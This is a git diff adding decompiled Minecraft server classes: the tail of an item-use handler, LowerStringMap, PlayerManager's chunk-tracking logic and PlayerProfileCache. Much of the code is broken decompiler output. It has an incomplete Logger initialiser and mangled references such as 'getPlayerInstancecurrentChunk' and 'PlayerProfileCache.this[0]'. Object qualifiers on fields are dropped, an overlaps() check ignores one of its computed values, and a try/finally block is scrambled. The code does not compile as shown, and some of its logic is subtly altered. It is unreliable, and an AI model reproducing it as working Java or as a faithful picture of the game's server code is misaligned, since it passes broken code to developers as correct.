+    if ((var6 == p_73085_3_) && ((var6 == null) || ((stackSize == var4) && (var6.getMaxItemUseDuration() <= 0) && (var6.getMetadata() == var5))))
+    {
+      return false;
+    }
+    
+
+    inventory.mainInventory[inventory.currentItem] = var6;
+    
+    if (isCreative())
+    {
+      stackSize = var4;
+      
+      if (var6.isItemStackDamageable())
+      {
+        var6.setItemDamage(var5);
+      }
+    }
+    
+    if (stackSize == 0)
+    {
+      inventory.mainInventory[inventory.currentItem] = null;
+    }
+    
+    if (!p_73085_1_.isUsingItem())
+    {
+      ((EntityPlayerMP)p_73085_1_).sendContainerToPlayer(inventoryContainer);
+    }
+    
+    return true;
+  }
+  
+
+
+  public boolean func_180236_a(EntityPlayer p_180236_1_, World worldIn, ItemStack p_180236_3_, BlockPos p_180236_4_, EnumFacing p_180236_5_, float p_180236_6_, float p_180236_7_, float p_180236_8_)
+  {
+    if (gameType == WorldSettings.GameType.SPECTATOR)
+    {
+      TileEntity var13 = worldIn.getTileEntity(p_180236_4_);
+      
+      if ((var13 instanceof ILockableContainer))
+      {
+        Block var14 = worldIn.getBlockState(p_180236_4_).getBlock();
+        ILockableContainer var15 = (ILockableContainer)var13;
+        
+        if (((var15 instanceof TileEntityChest)) && ((var14 instanceof BlockChest)))
+        {
+          var15 = ((BlockChest)var14).getLockableContainer(worldIn, p_180236_4_);
+        }
+        
+        if (var15 != null)
+        {
+          p_180236_1_.displayGUIChest(var15);
+          return true;
+        }
+      }
+      else if ((var13 instanceof IInventory))
+      {
+        p_180236_1_.displayGUIChest((IInventory)var13);
+        return true;
+      }
+      
+      return false;
+    }
+    
+
+    if ((!p_180236_1_.isSneaking()) || (p_180236_1_.getHeldItem() == null))
+    {
+      IBlockState var9 = worldIn.getBlockState(p_180236_4_);
+      
+      if (var9.getBlock().onBlockActivated(worldIn, p_180236_4_, var9, p_180236_1_, p_180236_5_, p_180236_6_, p_180236_7_, p_180236_8_))
+      {
+        return true;
+      }
+    }
+    
+    if (p_180236_3_ == null)
+    {
+      return false;
+    }
+    if (isCreative())
+    {
+      int var12 = p_180236_3_.getMetadata();
+      int var10 = stackSize;
+      boolean var11 = p_180236_3_.onItemUse(p_180236_1_, worldIn, p_180236_4_, p_180236_5_, p_180236_6_, p_180236_7_, p_180236_8_);
+      p_180236_3_.setItemDamage(var12);
+      stackSize = var10;
+      return var11;
+    }
+    
+
+    return p_180236_3_.onItemUse(p_180236_1_, worldIn, p_180236_4_, p_180236_5_, p_180236_6_, p_180236_7_, p_180236_8_);
+  }
+  
+
+
+
+
+
+  public void setWorld(WorldServer p_73080_1_)
+  {
+    theWorld = p_73080_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/management/LowerStringMap.java b/src/minecraft/net/minecraft/server/management/LowerStringMap.java
new file mode 100644
index 0000000..50a2b45
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/LowerStringMap.java
@@ -0,0 +1,85 @@
+package net.minecraft.server.management;
+
+import com.google.common.collect.Maps;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+public class LowerStringMap implements Map
+{
+  private final Map internalMap = Maps.newLinkedHashMap();
+  private static final String __OBFID = "CL_00001488";
+  
+  public LowerStringMap() {}
+  
+  public int size() { return internalMap.size(); }
+  
+
+  public boolean isEmpty()
+  {
+    return internalMap.isEmpty();
+  }
+  
+  public boolean containsKey(Object p_containsKey_1_)
+  {
+    return internalMap.containsKey(p_containsKey_1_.toString().toLowerCase());
+  }
+  
+  public boolean containsValue(Object p_containsValue_1_)
+  {
+    return internalMap.containsKey(p_containsValue_1_);
+  }
+  
+  public Object get(Object p_get_1_)
+  {
+    return internalMap.get(p_get_1_.toString().toLowerCase());
+  }
+  
+  public Object put(String p_put_1_, Object p_put_2_)
+  {
+    return internalMap.put(p_put_1_.toLowerCase(), p_put_2_);
+  }
+  
+  public Object remove(Object p_remove_1_)
+  {
+    return internalMap.remove(p_remove_1_.toString().toLowerCase());
+  }
+  
+  public void putAll(Map p_putAll_1_)
+  {
+    Iterator var2 = p_putAll_1_.entrySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      Map.Entry var3 = (Map.Entry)var2.next();
+      put((String)var3.getKey(), var3.getValue());
+    }
+  }
+  
+  public void clear()
+  {
+    internalMap.clear();
+  }
+  
+  public Set keySet()
+  {
+    return internalMap.keySet();
+  }
+  
+  public Collection values()
+  {
+    return internalMap.values();
+  }
+  
+  public Set entrySet()
+  {
+    return internalMap.entrySet();
+  }
+  
+  public Object put(Object p_put_1_, Object p_put_2_)
+  {
+    return put((String)p_put_1_, p_put_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/management/PlayerManager.java b/src/minecraft/net/minecraft/server/management/PlayerManager.java
new file mode 100644
index 0000000..3808de1
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/PlayerManager.java
@@ -0,0 +1,569 @@
+package net.minecraft.server.management;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.network.NetHandlerPlayServer;
+import net.minecraft.network.Packet;
+import net.minecraft.network.play.server.S21PacketChunkData;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.LongHashMap;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.gen.ChunkProviderServer;
+import org.apache.logging.log4j.Logger;
+
+public class PlayerManager
+{
+  private static final Logger field_152627_a = ;
+  
+  private final WorldServer theWorldServer;
+  
+  private final List players = Lists.newArrayList();
+  
+
+  private final LongHashMap playerInstances = new LongHashMap();
+  
+
+  private final List playerInstancesToUpdate = Lists.newArrayList();
+  
+
+  private final List playerInstanceList = Lists.newArrayList();
+  
+
+
+  private int playerViewRadius;
+  
+
+
+  private long previousTotalWorldTime;
+  
+
+  private final int[][] xzDirectionsConst = { { 1 }, { 0, 1 }, { -1 }, { 0, -1 } };
+  private static final String __OBFID = "CL_00001434";
+  
+  public PlayerManager(WorldServer p_i1176_1_)
+  {
+    theWorldServer = p_i1176_1_;
+    func_152622_a(p_i1176_1_.func_73046_m().getConfigurationManager().getViewDistance());
+  }
+  
+
+
+
+  public WorldServer getMinecraftServer()
+  {
+    return theWorldServer;
+  }
+  
+
+
+
+  public void updatePlayerInstances()
+  {
+    long var1 = theWorldServer.getTotalWorldTime();
+    
+
+
+    if (var1 - previousTotalWorldTime > 8000L)
+    {
+      previousTotalWorldTime = var1;
+      
+      for (int var3 = 0; var3 < playerInstanceList.size(); var3++)
+      {
+        PlayerInstance var4 = (PlayerInstance)playerInstanceList.get(var3);
+        var4.onUpdate();
+        var4.processChunk();
+      }
+    }
+    else
+    {
+      for (int var3 = 0; var3 < playerInstancesToUpdate.size(); var3++)
+      {
+        PlayerInstance var4 = (PlayerInstance)playerInstancesToUpdate.get(var3);
+        var4.onUpdate();
+      }
+    }
+    
+    playerInstancesToUpdate.clear();
+    
+    if (players.isEmpty())
+    {
+      WorldProvider var5 = theWorldServer.provider;
+      
+      if (!var5.canRespawnHere())
+      {
+        theWorldServer.theChunkProviderServer.unloadAllChunks();
+      }
+    }
+  }
+  
+  public boolean func_152621_a(int p_152621_1_, int p_152621_2_)
+  {
+    long var3 = p_152621_1_ + 2147483647L | p_152621_2_ + 2147483647L << 32;
+    return playerInstances.getValueByKey(var3) != null;
+  }
+  
+
+
+
+  private PlayerInstance getPlayerInstance(int p_72690_1_, int p_72690_2_, boolean p_72690_3_)
+  {
+    long var4 = p_72690_1_ + 2147483647L | p_72690_2_ + 2147483647L << 32;
+    PlayerInstance var6 = (PlayerInstance)playerInstances.getValueByKey(var4);
+    
+    if ((var6 == null) && (p_72690_3_))
+    {
+      var6 = new PlayerInstance(p_72690_1_, p_72690_2_);
+      playerInstances.add(var4, var6);
+      playerInstanceList.add(var6);
+    }
+    
+    return var6;
+  }
+  
+  public void func_180244_a(BlockPos p_180244_1_)
+  {
+    int var2 = p_180244_1_.getX() >> 4;
+    int var3 = p_180244_1_.getZ() >> 4;
+    PlayerInstance var4 = getPlayerInstance(var2, var3, false);
+    
+    if (var4 != null)
+    {
+      var4.flagChunkForUpdate(p_180244_1_.getX() & 0xF, p_180244_1_.getY(), p_180244_1_.getZ() & 0xF);
+    }
+  }
+  
+
+
+
+  public void addPlayer(EntityPlayerMP p_72683_1_)
+  {
+    int var2 = (int)posX >> 4;
+    int var3 = (int)posZ >> 4;
+    managedPosX = posX;
+    managedPosZ = posZ;
+    
+    for (int var4 = var2 - playerViewRadius; var4 <= var2 + playerViewRadius; var4++)
+    {
+      for (int var5 = var3 - playerViewRadius; var5 <= var3 + playerViewRadius; var5++)
+      {
+        getPlayerInstance(var4, var5, true).addPlayer(p_72683_1_);
+      }
+    }
+    
+    players.add(p_72683_1_);
+    filterChunkLoadQueue(p_72683_1_);
+  }
+  
+
+
+
+  public void filterChunkLoadQueue(EntityPlayerMP p_72691_1_)
+  {
+    ArrayList var2 = Lists.newArrayList(loadedChunks);
+    int var3 = 0;
+    int var4 = playerViewRadius;
+    int var5 = (int)posX >> 4;
+    int var6 = (int)posZ >> 4;
+    int var7 = 0;
+    int var8 = 0;
+    ChunkCoordIntPair var9 = getPlayerInstancecurrentChunk;
+    loadedChunks.clear();
+    
+    if (var2.contains(var9))
+    {
+      loadedChunks.add(var9);
+    }
+    
+
+
+    for (int var10 = 1; var10 <= var4 * 2; var10++)
+    {
+      for (int var11 = 0; var11 < 2; var11++)
+      {
+        int[] var12 = xzDirectionsConst[(var3++ % 4)];
+        
+        for (int var13 = 0; var13 < var10; var13++)
+        {
+          var7 += var12[0];
+          var8 += var12[1];
+          var9 = getPlayerInstancecurrentChunk;
+          
+          if (var2.contains(var9))
+          {
+            loadedChunks.add(var9);
+          }
+        }
+      }
+    }
+    
+    var3 %= 4;
+    
+    for (var10 = 0; var10 < var4 * 2; var10++)
+    {
+      var7 += xzDirectionsConst[var3][0];
+      var8 += xzDirectionsConst[var3][1];
+      var9 = getPlayerInstancecurrentChunk;
+      
+      if (var2.contains(var9))
+      {
+        loadedChunks.add(var9);
+      }
+    }
+  }
+  
+
+
+
+  public void removePlayer(EntityPlayerMP p_72695_1_)
+  {
+    int var2 = (int)managedPosX >> 4;
+    int var3 = (int)managedPosZ >> 4;
+    
+    for (int var4 = var2 - playerViewRadius; var4 <= var2 + playerViewRadius; var4++)
+    {
+      for (int var5 = var3 - playerViewRadius; var5 <= var3 + playerViewRadius; var5++)
+      {
+        PlayerInstance var6 = getPlayerInstance(var4, var5, false);
+        
+        if (var6 != null)
+        {
+          var6.removePlayer(p_72695_1_);
+        }
+      }
+    }
+    
+    players.remove(p_72695_1_);
+  }
+  
+
+
+
+
+  private boolean overlaps(int p_72684_1_, int p_72684_2_, int p_72684_3_, int p_72684_4_, int p_72684_5_)
+  {
+    int var6 = p_72684_1_ - p_72684_3_;
+    int var7 = p_72684_2_ - p_72684_4_;
+    return (var7 >= -p_72684_5_) && (var7 <= p_72684_5_);
+  }
+  
+
+
+
+  public void updateMountedMovingPlayer(EntityPlayerMP p_72685_1_)
+  {
+    int var2 = (int)posX >> 4;
+    int var3 = (int)posZ >> 4;
+    double var4 = managedPosX - posX;
+    double var6 = managedPosZ - posZ;
+    double var8 = var4 * var4 + var6 * var6;
+    
+    if (var8 >= 64.0D)
+    {
+      int var10 = (int)managedPosX >> 4;
+      int var11 = (int)managedPosZ >> 4;
+      int var12 = playerViewRadius;
+      int var13 = var2 - var10;
+      int var14 = var3 - var11;
+      
+      if ((var13 != 0) || (var14 != 0))
+      {
+        for (int var15 = var2 - var12; var15 <= var2 + var12; var15++)
+        {
+          for (int var16 = var3 - var12; var16 <= var3 + var12; var16++)
+          {
+            if (!overlaps(var15, var16, var10, var11, var12))
+            {
+              getPlayerInstance(var15, var16, true).addPlayer(p_72685_1_);
+            }
+            
+            if (!overlaps(var15 - var13, var16 - var14, var2, var3, var12))
+            {
+              PlayerInstance var17 = getPlayerInstance(var15 - var13, var16 - var14, false);
+              
+              if (var17 != null)
+              {
+                var17.removePlayer(p_72685_1_);
+              }
+            }
+          }
+        }
+        
+        filterChunkLoadQueue(p_72685_1_);
+        managedPosX = posX;
+        managedPosZ = posZ;
+      }
+    }
+  }
+  
+  public boolean isPlayerWatchingChunk(EntityPlayerMP p_72694_1_, int p_72694_2_, int p_72694_3_)
+  {
+    PlayerInstance var4 = getPlayerInstance(p_72694_2_, p_72694_3_, false);
+    return (var4 != null) && (playersWatchingChunk.contains(p_72694_1_)) && (!loadedChunks.contains(currentChunk));
+  }
+  
+  public void func_152622_a(int p_152622_1_)
+  {
+    p_152622_1_ = net.minecraft.util.MathHelper.clamp_int(p_152622_1_, 3, 32);
+    
+    if (p_152622_1_ != playerViewRadius)
+    {
+      int var2 = p_152622_1_ - playerViewRadius;
+      ArrayList var3 = Lists.newArrayList(players);
+      Iterator var4 = var3.iterator();
+      
+      while (var4.hasNext())
+      {
+        EntityPlayerMP var5 = (EntityPlayerMP)var4.next();
+        int var6 = (int)posX >> 4;
+        int var7 = (int)posZ >> 4;
+        
+
+
+        if (var2 > 0)
+        {
+          for (int var8 = var6 - p_152622_1_; var8 <= var6 + p_152622_1_; var8++)
+          {
+            for (int var9 = var7 - p_152622_1_; var9 <= var7 + p_152622_1_; var9++)
+            {
+              PlayerInstance var10 = getPlayerInstance(var8, var9, true);
+              
+              if (!playersWatchingChunk.contains(var5))
+              {
+                var10.addPlayer(var5);
+              }
+              
+            }
+            
+          }
+        } else {
+          for (int var8 = var6 - playerViewRadius; var8 <= var6 + playerViewRadius; var8++)
+          {
+            for (int var9 = var7 - playerViewRadius; var9 <= var7 + playerViewRadius; var9++)
+            {
+              if (!overlaps(var8, var9, var6, var7, p_152622_1_))
+              {
+                getPlayerInstance(var8, var9, true).removePlayer(var5);
+              }
+            }
+          }
+        }
+      }
+      
+      playerViewRadius = p_152622_1_;
+    }
+  }
+  
+
+
+
+  public static int getFurthestViewableBlock(int p_72686_0_)
+  {
+    return p_72686_0_ * 16 - 16;
+  }
+  
+  class PlayerInstance
+  {
+    private final List playersWatchingChunk = Lists.newArrayList();
+    private final ChunkCoordIntPair currentChunk;
+    private short[] locationOfBlockChange = new short[64];
+    private int numBlocksToUpdate;
+    private int flagsYAreasToUpdate;
+    private long previousWorldTime;
+    private static final String __OBFID = "CL_00001435";
+    
+    public PlayerInstance(int p_i1518_2_, int p_i1518_3_)
+    {
+      currentChunk = new ChunkCoordIntPair(p_i1518_2_, p_i1518_3_);
+      getMinecraftServer().theChunkProviderServer.loadChunk(p_i1518_2_, p_i1518_3_);
+    }
+    
+    public void addPlayer(EntityPlayerMP p_73255_1_)
+    {
+      if (playersWatchingChunk.contains(p_73255_1_))
+      {
+        PlayerManager.field_152627_a.debug("Failed to add player. {} already is in chunk {}, {}", new Object[] { p_73255_1_, Integer.valueOf(currentChunk.chunkXPos), Integer.valueOf(currentChunk.chunkZPos) });
+      }
+      else
+      {
+        if (playersWatchingChunk.isEmpty())
+        {
+          previousWorldTime = theWorldServer.getTotalWorldTime();
+        }
+        
+        playersWatchingChunk.add(p_73255_1_);
+        loadedChunks.add(currentChunk);
+      }
+    }
+    
+    public void removePlayer(EntityPlayerMP p_73252_1_)
+    {
+      if (playersWatchingChunk.contains(p_73252_1_))
+      {
+        Chunk var2 = theWorldServer.getChunkFromChunkCoords(currentChunk.chunkXPos, currentChunk.chunkZPos);
+        
+        if (var2.isPopulated())
+        {
+          playerNetServerHandler.sendPacket(new S21PacketChunkData(var2, true, 0));
+        }
+        
+        playersWatchingChunk.remove(p_73252_1_);
+        loadedChunks.remove(currentChunk);
+        
+        if (playersWatchingChunk.isEmpty())
+        {
+          long var3 = currentChunk.chunkXPos + 2147483647L | currentChunk.chunkZPos + 2147483647L << 32;
+          increaseInhabitedTime(var2);
+          playerInstances.remove(var3);
+          playerInstanceList.remove(this);
+          
+          if (numBlocksToUpdate > 0)
+          {
+            playerInstancesToUpdate.remove(this);
+          }
+          
+          getMinecraftServer().theChunkProviderServer.dropChunk(currentChunk.chunkXPos, currentChunk.chunkZPos);
+        }
+      }
+    }
+    
+    public void processChunk()
+    {
+      increaseInhabitedTime(theWorldServer.getChunkFromChunkCoords(currentChunk.chunkXPos, currentChunk.chunkZPos));
+    }
+    
+    private void increaseInhabitedTime(Chunk p_111196_1_)
+    {
+      p_111196_1_.setInhabitedTime(p_111196_1_.getInhabitedTime() + theWorldServer.getTotalWorldTime() - previousWorldTime);
+      previousWorldTime = theWorldServer.getTotalWorldTime();
+    }
+    
+    public void flagChunkForUpdate(int p_151253_1_, int p_151253_2_, int p_151253_3_)
+    {
+      if (numBlocksToUpdate == 0)
+      {
+        playerInstancesToUpdate.add(this);
+      }
+      
+      flagsYAreasToUpdate |= 1 << (p_151253_2_ >> 4);
+      
+      if (numBlocksToUpdate < 64)
+      {
+        short var4 = (short)(p_151253_1_ << 12 | p_151253_3_ << 8 | p_151253_2_);
+        
+        for (int var5 = 0; var5 < numBlocksToUpdate; var5++)
+        {
+          if (locationOfBlockChange[var5] == var4)
+          {
+            return;
+          }
+        }
+        
+        locationOfBlockChange[(numBlocksToUpdate++)] = var4;
+      }
+    }
+    
+    public void sendToAllPlayersWatchingChunk(Packet p_151251_1_)
+    {
+      for (int var2 = 0; var2 < playersWatchingChunk.size(); var2++)
+      {
+        EntityPlayerMP var3 = (EntityPlayerMP)playersWatchingChunk.get(var2);
+        
+        if (!loadedChunks.contains(currentChunk))
+        {
+          playerNetServerHandler.sendPacket(p_151251_1_);
+        }
+      }
+    }
+    
+    public void onUpdate()
+    {
+      if (numBlocksToUpdate != 0)
+      {
+
+
+
+
+        if (numBlocksToUpdate == 1)
+        {
+          int var1 = (locationOfBlockChange[0] >> 12 & 0xF) + currentChunk.chunkXPos * 16;
+          int var2 = locationOfBlockChange[0] & 0xFF;
+          int var3 = (locationOfBlockChange[0] >> 8 & 0xF) + currentChunk.chunkZPos * 16;
+          BlockPos var4 = new BlockPos(var1, var2, var3);
+          sendToAllPlayersWatchingChunk(new net.minecraft.network.play.server.S23PacketBlockChange(theWorldServer, var4));
+          
+          if (theWorldServer.getBlockState(var4).getBlock().hasTileEntity())
+          {
+            sendTileToAllPlayersWatchingChunk(theWorldServer.getTileEntity(var4));
+
+          }
+          
+
+
+        }
+        else if (numBlocksToUpdate == 64)
+        {
+          int var1 = currentChunk.chunkXPos * 16;
+          int var2 = currentChunk.chunkZPos * 16;
+          sendToAllPlayersWatchingChunk(new S21PacketChunkData(theWorldServer.getChunkFromChunkCoords(currentChunk.chunkXPos, currentChunk.chunkZPos), false, flagsYAreasToUpdate));
+          
+          for (int var3 = 0; var3 < 16; var3++)
+          {
+            if ((flagsYAreasToUpdate & 1 << var3) != 0)
+            {
+              int var7 = var3 << 4;
+              List var5 = theWorldServer.func_147486_a(var1, var7, var2, var1 + 16, var7 + 16, var2 + 16);
+              
+              for (int var6 = 0; var6 < var5.size(); var6++)
+              {
+                sendTileToAllPlayersWatchingChunk((TileEntity)var5.get(var6));
+              }
+            }
+          }
+        }
+        else
+        {
+          sendToAllPlayersWatchingChunk(new net.minecraft.network.play.server.S22PacketMultiBlockChange(numBlocksToUpdate, locationOfBlockChange, theWorldServer.getChunkFromChunkCoords(currentChunk.chunkXPos, currentChunk.chunkZPos)));
+          
+          for (int var1 = 0; var1 < numBlocksToUpdate; var1++)
+          {
+            int var2 = (locationOfBlockChange[var1] >> 12 & 0xF) + currentChunk.chunkXPos * 16;
+            int var3 = locationOfBlockChange[var1] & 0xFF;
+            int var7 = (locationOfBlockChange[var1] >> 8 & 0xF) + currentChunk.chunkZPos * 16;
+            BlockPos var8 = new BlockPos(var2, var3, var7);
+            
+            if (theWorldServer.getBlockState(var8).getBlock().hasTileEntity())
+            {
+              sendTileToAllPlayersWatchingChunk(theWorldServer.getTileEntity(var8));
+            }
+          }
+        }
+        
+
+        numBlocksToUpdate = 0;
+        flagsYAreasToUpdate = 0;
+      }
+    }
+    
+    private void sendTileToAllPlayersWatchingChunk(TileEntity p_151252_1_)
+    {
+      if (p_151252_1_ != null)
+      {
+        Packet var2 = p_151252_1_.getDescriptionPacket();
+        
+        if (var2 != null)
+        {
+          sendToAllPlayersWatchingChunk(var2);
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/management/PlayerProfileCache.java b/src/minecraft/net/minecraft/server/management/PlayerProfileCache.java
new file mode 100644
index 0000000..8012415
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/management/PlayerProfileCache.java
@@ -0,0 +1,410 @@
+package net.minecraft.server.management;
+
+import com.google.common.base.Charsets;
+import com.google.common.collect.Iterators;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.io.Files;
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonDeserializer;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonSerializationContext;
+import com.google.gson.JsonSerializer;
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.GameProfileRepository;
+import com.mojang.authlib.ProfileLookupCallback;
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Locale;
+import java.util.Map;
+import java.util.UUID;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.server.MinecraftServer;
+import org.apache.commons.io.IOUtils;
+
+public class PlayerProfileCache
+{
+  public static final SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss Z");
+  private final Map field_152661_c = Maps.newHashMap();
+  private final Map field_152662_d = Maps.newHashMap();
+  private final LinkedList field_152663_e = Lists.newLinkedList();
+  private final MinecraftServer field_152664_f;
+  protected final Gson gson;
+  private final File usercacheFile;
+  private static final ParameterizedType field_152666_h = new ParameterizedType()
+  {
+    private static final String __OBFID = "CL_00001886";
+    
+    public Type[] getActualTypeArguments() {
+      return new Type[] { PlayerProfileCache.ProfileEntry.class };
+    }
+    
+    public Type getRawType() {
+      return List.class;
+    }
+    
+    public Type getOwnerType() {
+      return null;
+    }
+  };
+  private static final String __OBFID = "CL_00001888";
+  
+  public PlayerProfileCache(MinecraftServer p_i1171_1_, File p_i1171_2_)
+  {
+    field_152664_f = p_i1171_1_;
+    usercacheFile = p_i1171_2_;
+    GsonBuilder var3 = new GsonBuilder();
+    var3.registerTypeHierarchyAdapter(ProfileEntry.class, new Serializer(null));
+    gson = var3.create();
+    func_152657_b();
+  }
+  
+  private static GameProfile func_152650_a(MinecraftServer p_152650_0_, String p_152650_1_)
+  {
+    GameProfile[] var2 = new GameProfile[1];
+    ProfileLookupCallback var3 = new ProfileLookupCallback()
+    {
+      private static final String __OBFID = "CL_00001887";
+      
+      public void onProfileLookupSucceeded(GameProfile p_onProfileLookupSucceeded_1_) {
+        PlayerProfileCache.this[0] = p_onProfileLookupSucceeded_1_;
+      }
+      
+      public void onProfileLookupFailed(GameProfile p_onProfileLookupFailed_1_, Exception p_onProfileLookupFailed_2_) {
+        PlayerProfileCache.this[0] = null;
+      }
+    };
+    p_152650_0_.getGameProfileRepository().findProfilesByNames(new String[] { p_152650_1_ }, com.mojang.authlib.Agent.MINECRAFT, var3);
+    
+    if ((!p_152650_0_.isServerInOnlineMode()) && (var2[0] == null))
+    {
+      UUID var4 = EntityPlayer.getUUID(new GameProfile(null, p_152650_1_));
+      GameProfile var5 = new GameProfile(var4, p_152650_1_);
+      var3.onProfileLookupSucceeded(var5);
+    }
+    
+    return var2[0];
+  }
+  
+  public void func_152649_a(GameProfile p_152649_1_)
+  {
+    func_152651_a(p_152649_1_, null);
+  }
+  
+  private void func_152651_a(GameProfile p_152651_1_, Date p_152651_2_)
+  {
+    UUID var3 = p_152651_1_.getId();
+    
+    if (p_152651_2_ == null)
+    {
+      Calendar var4 = Calendar.getInstance();
+      var4.setTime(new Date());
+      var4.add(2, 1);
+      p_152651_2_ = var4.getTime();
+    }
+    
+    String var7 = p_152651_1_.getName().toLowerCase(Locale.ROOT);
+    ProfileEntry var5 = new ProfileEntry(p_152651_1_, p_152651_2_, null);
+    
+    if (field_152662_d.containsKey(var3))
+    {
+      ProfileEntry var6 = (ProfileEntry)field_152662_d.get(var3);
+      field_152661_c.remove(var6.func_152668_a().getName().toLowerCase(Locale.ROOT));
+      field_152661_c.put(p_152651_1_.getName().toLowerCase(Locale.ROOT), var5);
+      field_152663_e.remove(p_152651_1_);
+    }
+    else
+    {
+      field_152662_d.put(var3, var5);
+      field_152661_c.put(var7, var5);
+    }
+    
+    field_152663_e.addFirst(p_152651_1_);
+  }
+  
+  public GameProfile getGameProfileForUsername(String p_152655_1_)
+  {
+    String var2 = p_152655_1_.toLowerCase(Locale.ROOT);
+    ProfileEntry var3 = (ProfileEntry)field_152661_c.get(var2);
+    
+    if ((var3 != null) && (new Date().getTime() >= field_152673_c.getTime()))
+    {
+      field_152662_d.remove(var3.func_152668_a().getId());
+      field_152661_c.remove(var3.func_152668_a().getName().toLowerCase(Locale.ROOT));
+      field_152663_e.remove(var3.func_152668_a());
+      var3 = null;
+    }
+    
+
+
+    if (var3 != null)
+    {
+      GameProfile var4 = var3.func_152668_a();
+      field_152663_e.remove(var4);
+      field_152663_e.addFirst(var4);
+    }
+    else
+    {
+      GameProfile var4 = func_152650_a(field_152664_f, var2);
+      
+      if (var4 != null)
+      {
+        func_152649_a(var4);
+        var3 = (ProfileEntry)field_152661_c.get(var2);
+      }
+    }
+    
+    func_152658_c();
+    return var3 == null ? null : var3.func_152668_a();
+  }
+  
+  public String[] func_152654_a()
+  {
+    ArrayList var1 = Lists.newArrayList(field_152661_c.keySet());
+    return (String[])var1.toArray(new String[var1.size()]);
+  }
+  
+  public GameProfile func_152652_a(UUID p_152652_1_)
+  {
+    ProfileEntry var2 = (ProfileEntry)field_152662_d.get(p_152652_1_);
+    return var2 == null ? null : var2.func_152668_a();
+  }
+  
+  private ProfileEntry func_152653_b(UUID p_152653_1_)
+  {
+    ProfileEntry var2 = (ProfileEntry)field_152662_d.get(p_152653_1_);
+    
+    if (var2 != null)
+    {
+      GameProfile var3 = var2.func_152668_a();
+      field_152663_e.remove(var3);
+      field_152663_e.addFirst(var3);
+    }
+    
+    return var2;
+  }
+  
+  public void func_152657_b()
+  {
+    List var1 = null;
+    BufferedReader var2 = null;
+    
+
+    try
+    {
+      var2 = Files.newReader(usercacheFile, Charsets.UTF_8);
+      var1 = (List)gson.fromJson(var2, field_152666_h);
+      
+
+
+
+
+
+
+
+      IOUtils.closeQuietly(var2); } catch (FileNotFoundException localFileNotFoundException) { IOUtils.closeQuietly(var2); } finally { IOUtils.closeQuietly(var2);
+    }
+    
+
+
+
+    if (var1 != null)
+    {
+      field_152661_c.clear();
+      field_152662_d.clear();
+      field_152663_e.clear();
+      var1 = Lists.reverse(var1);
+      Iterator var3 = var1.iterator();
+      
+      while (var3.hasNext())
+      {
+        ProfileEntry var4 = (ProfileEntry)var3.next();
+        
+        if (var4 != null)
+        {
+          func_152651_a(var4.func_152668_a(), var4.func_152670_b());
+        }
+      }
+    }
+  }
+  
+  public void func_152658_c()
+  {
+    String var1 = gson.toJson(func_152656_a(1000));
+    BufferedWriter var2 = null;
+    
+    try
+    {
+      var2 = Files.newWriter(usercacheFile, Charsets.UTF_8);
+      var2.write(var1);
+      return;
+
+
+
+
+    }
+    catch (FileNotFoundException var8) {}catch (IOException localIOException) {}finally
+    {
+
+
+
+
+      IOUtils.closeQuietly(var2);
+    }
+  }
+  
+  private List func_152656_a(int p_152656_1_)
+  {
+    ArrayList var2 = Lists.newArrayList();
+    ArrayList var3 = Lists.newArrayList(Iterators.limit(field_152663_e.iterator(), p_152656_1_));
+    Iterator var4 = var3.iterator();
+    
+    while (var4.hasNext())
+    {
+      GameProfile var5 = (GameProfile)var4.next();
+      ProfileEntry var6 = func_152653_b(var5.getId());
+      
+      if (var6 != null)
+      {
+        var2.add(var6);
+      }
+    }
+    
+    return var2;
+  }
+  
+  class ProfileEntry
+  {
+    private final GameProfile field_152672_b;
+    private final Date field_152673_c;
+    private static final String __OBFID = "CL_00001885";
+    
+    private ProfileEntry(GameProfile p_i46333_2_, Date p_i46333_3_)
+    {
+      field_152672_b = p_i46333_2_;
+      field_152673_c = p_i46333_3_;
+    }
+    
+    public GameProfile func_152668_a()
+    {
+      return field_152672_b;
+    }
+    
+    public Date func_152670_b()
+    {
+      return field_152673_c;
+    }
+    
+    ProfileEntry(GameProfile p_i1166_2_, Date p_i1166_3_, Object p_i1166_4_)
+    {
+      this(p_i1166_2_, p_i1166_3_);
+    }
+  }
+  
+  class Serializer implements JsonDeserializer, JsonSerializer
+  {
+    private static final String __OBFID = "CL_00001884";
+    
+    private Serializer() {}
+    
+    public JsonElement func_152676_a(PlayerProfileCache.ProfileEntry p_152676_1_, Type p_152676_2_, JsonSerializationContext p_152676_3_)
+    {
+      JsonObject var4 = new JsonObject();
+      var4.addProperty("name", p_152676_1_.func_152668_a().getName());
+      UUID var5 = p_152676_1_.func_152668_a().getId();
+      var4.addProperty("uuid", var5 == null ? "" : var5.toString());
